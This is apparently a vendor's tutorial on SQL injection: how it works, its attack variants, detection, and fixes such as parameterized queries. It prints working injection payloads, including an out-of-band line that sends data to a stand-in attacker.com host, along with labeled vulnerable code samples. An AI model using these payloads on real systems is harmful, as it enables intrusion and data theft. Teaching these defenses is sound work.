SQL injection (SQLi) has topped security vulnerability lists for over two decades. Despite being well-understood, it remains one of the most commonly exploited vulnerabilities in web applications — because it is easy to introduce and, when missed, devastating to exploit.
This guide covers everything: how SQL injection works, the major attack techniques attackers use, how to detect it in your codebase, and the right way to fix it.
What is SQL Injection?
SQL injection is a code injection technique that exploits insufficient sanitization of user-supplied data before it is included in a SQL query. When an application constructs queries by concatenating strings with user input, an attacker can alter the query's logic.
The database has no way to distinguish between legitimate query structure and injected attacker-supplied SQL — it executes whatever it receives.
A Minimal Example
Consider a login form that checks credentials:
// Vulnerable — never do this
const query = `SELECT * FROM users
WHERE username = '${req.body.username}'
AND password = '${req.body.password}'`;
If the attacker submits admin'-- as the username:
SELECT * FROM users
WHERE username = 'admin'--' AND password = '...'
-- Everything after -- is a comment; password check is bypassed
The attacker logs in as admin without knowing the password.
Types of SQL Injection
Classic / In-Band SQLi
The attacker can see the results of the injection directly in the application response.
UNION-based: Extracts data from other tables by appending a UNION SELECT:
' UNION SELECT username, password, null FROM users--
Error-based: Forces the database to include data in error messages:
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
Blind SQLi
The application doesn't return query results or errors directly. The attacker infers information through side-channel signals.
Boolean-based: Asks true/false questions and observes response differences:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
Time-based: Measures response delay to infer data:
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
Out-of-Band SQLi
Uses alternate channels (DNS, HTTP) to exfiltrate data. Less common but useful when in-band channels are blocked:
'; exec master..xp_dirtree '//attacker.com/'+user+'/a'--
Automated tools like sqlmap can exploit SQL injection with minimal manual effort. If a vulnerability exists, attackers don't need expertise to exploit it — they need one working payload.
How to Detect SQL Injection
In Code Review
Look for any pattern where user input is concatenated into a SQL string:
// All of these are vulnerable patterns:
`SELECT * FROM users WHERE id = ${req.params.id}`
"SELECT * FROM users WHERE name = '" + name + "'"
db.query("SELECT * FROM " + table + " WHERE id = " + id)
With Automated Scanning
Automated scanners send probe payloads to every input and observe:
- Database error messages in responses
- Response differences between neutral and malformed inputs
- Time delays for time-based probes
Mythos Scanner uses AI to reason about which parameters are most likely to reach SQL queries — reducing noise and improving coverage over generic fuzzers.
Manual Testing
For every user-supplied input reaching the database, test:
- Single quote
'— look for database errors ' OR '1'='1— look for authentication bypass'; WAITFOR DELAY '0:0:5'--— look for time delays (SQL Server)' AND SLEEP(5)--— look for time delays (MySQL)'; SELECT 1--— check for syntax error changes
How to Fix SQL Injection
1. Parameterized Queries (Primary Defense)
This is the correct fix. Parameters are sent to the database separately from the query structure — the database never interprets them as SQL:
// Node.js + pg (PostgreSQL)
const result = await pool.query(
'SELECT * FROM users WHERE username = $1 AND password = $2',
[username, password]
);
// Node.js + mysql2
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
# Python + psycopg2
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
2. Stored Procedures
When implemented correctly, stored procedures also prevent injection:
CREATE PROCEDURE GetUser @username NVARCHAR(50), @password NVARCHAR(50)
AS
SELECT * FROM users WHERE username = @username AND password = @password
Stored procedures only prevent injection if they don't use dynamic SQL internally. A stored procedure that concatenates strings is still vulnerable.
3. ORMs
Most modern ORMs (Prisma, Sequelize, TypeORM, Django ORM) use parameterized queries by default. Be careful with:
- Raw query escape hatches (
Sequelize.literal(),prisma.$queryRaw) - Dynamic ORDER BY and table name injection (ORMs often can't parameterize these)
// Dangerous even with an ORM
const users = await prisma.$queryRaw`
SELECT * FROM users ORDER BY ${req.query.sortField}
`;
// Safer — allowlist the sort field
const ALLOWED_FIELDS = ['name', 'email', 'created_at'];
const sortField = ALLOWED_FIELDS.includes(req.query.sortField)
? req.query.sortField
: 'created_at';
4. Input Validation (Defense-in-Depth)
Validate input type, format, and range — but don't rely on this as the primary defense:
// Validate numeric IDs before they touch a query
const userId = parseInt(req.params.id, 10);
if (isNaN(userId) || userId < 1) {
return res.status(400).json({ error: 'Invalid user ID' });
}
5. Least Privilege Database Accounts
Limit the blast radius if injection does occur:
- The application database user should only have SELECT, INSERT, UPDATE, DELETE on required tables
- Never use the database root/admin account for application queries
- Separate read and write accounts for read-heavy applications
Second-Order SQL Injection
A common oversight: data that appears safe at insertion time is used unsafely later.
// Step 1 - safely stores the username
await db.query('INSERT INTO users (username) VALUES (?)', [username]);
// Step 2 - later retrieves and uses it unsafely
const user = await db.query(`SELECT * FROM profiles WHERE username = '${storedUsername}'`);
// If storedUsername = "admin'--", this is now injectable
Always parameterize queries at the point of use, not just at the point of data entry.
Checklist: SQL Injection Prevention
- All database queries use parameterized statements or prepared statements
- No string concatenation of user input into SQL
- ORM raw query methods are audited and avoided where possible
- Dynamic ORDER BY / table names use allowlists
- Database accounts follow least privilege
- SQL injection included in automated CI/CD security scanning
- Second-order injection scenarios reviewed for stored data
Related reading: